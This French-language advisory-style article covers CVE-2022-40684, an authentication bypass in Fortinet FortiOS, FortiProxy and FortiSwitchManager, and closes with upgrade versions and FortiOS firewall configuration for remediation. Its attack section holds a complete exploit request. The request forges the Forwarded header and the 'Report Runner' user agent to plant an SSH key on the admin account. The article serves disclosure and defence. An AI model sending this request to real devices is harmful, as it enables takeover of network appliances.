CVE-2022-40684

À propos de la vulnérabilité
CVE-2022-40684 est une vulnérabilité de contournement d'authentification dans certains produits Fortinet tels que FortiOS, Fortiproxy et FortiSwitchManager. Cela signifie qu'en utilisant cette vulnérabilité, l'attaquant peut contourner l'authentification et se connecter en tant qu'administrateur. Le score de base de cette vulnérabilité est de 9,8, ce qui la rend hautement critique. Avant d'aller plus loin, comprenons quels sont ces produits :
- FortiOS : Comme son nom l'indique, FortiOS, le système d'exploitation réseau Fortinet , est le cœur de la sécurité Fortinet. Ce système d'exploitation est au cœur de la Security Fabric et relie tous les composants pour assurer une intégration étroite dans l'ensemble du déploiement d'une organisation.
- FortiProxy : Il s'agit d'un proxy Web sécurisé qui protège les employés contre les attaques transmises par Internet en incorporant plusieurs techniques de détection telles que le filtrage Web.
- FortiSwitchManager (FSWM) est la plate-forme de gestion sur site pour le produit FortiSwitch . Les unités FortiSwitch se connectent à FortiSwitch Manager via le réseau de couche 3. Vous pouvez configurer un grand nombre d'unités FortiSwitch avec cette plate-forme de gestion FortiSwitch uniquement.
Impact
Le bogue permettra à un utilisateur non authentifié d'effectuer une opération directement sur le panneau d'administration via certaines requêtes HTTP/S (les méthodes peuvent être GET, POST, DELETE, etc.). Le rôle d'administrateur peut entraîner certains des événements suivants :
- Le contrôle prend en charge l'ensemble de l'application
- Accéder à l'infrastructure interne
- Ajout ou suppression d'utilisateurs
- Exposition à des données sensibles
- Modifier les clés SSH des utilisateurs administrateurs pour permettre à l'attaquant de se connecter au système compromis
- Altération de différents fichiers de configuration, etc.
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host : 10.0.40.67 User-Agent : Report Runner Content-Type : application/json Forwarded : for="[127.0.0.1]:8000″;by= ”[127.0.0.1]:9000 ″ ; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58=dev@devs-MacBook-Pro.local \”” }
- En utilisant l'en-tête Forwarded, un attaquant peut définir le client_ip sur "127.0.0.1".
- Le contrôle d'authentification "accès de confiance" vérifie que le client_ip est "127.0.0.1" et que l' agent utilisateur est "Report Runner", tous deux sous le contrôle de l'attaquant.
"Trouver un remède est bien plus important que de trouver un défaut"
Voici quelques-unes des mesures correctives pour protéger une organisation contre CVE-2022–40684 :
- Mise à niveau des produits impactés.
Mettre à niveau la version de FortiOS vers ≥7.2.2 et ≥7.0.7
Mettre à niveau la version de FortiProxy vers ≥7.2.1 et ≥ 7.0.7
Mettre à niveau la version de FortiSwitchManager ≥7.2.1 et ≥7.0.1 - Désactivez l'interface d'administration http/https sur FortiOS, FortiProxy et FortiSwitchManager.
- Pour FortiOS, limitez les adresses IP pouvant atteindre l'interface d'administration
config firewall address
edit "my_allowed_addresses"
set subnet <MY IP> <MY SUBNET>
end
config firewall addrgrp
edit "MGMT_IPs"
set member "my_allowed_addresses"
end
config firewall local-in-policy
edit 1
set intf port1
set srcaddr "MGMT_IPs"
set dstaddr "all"
set action accept
set service HTTPS HTTP
set schedule "always"
set status enable
next
edit 2
set intf "any"
set srcaddr "all"
set dstaddr "all"
set action deny
set service HTTPS HTTP
set schedule "always"
set status enable
end
config firewall service custom
edit GUI_HTTPS
set tcp-portrange <admin-sport>
next
edit GUI_HTTP
set tcp-portrange <admin-port>
end
config system interface
edit port1
set dedicated-to management
set trust-ip-1 <MY IP> <MY SUBNET>
end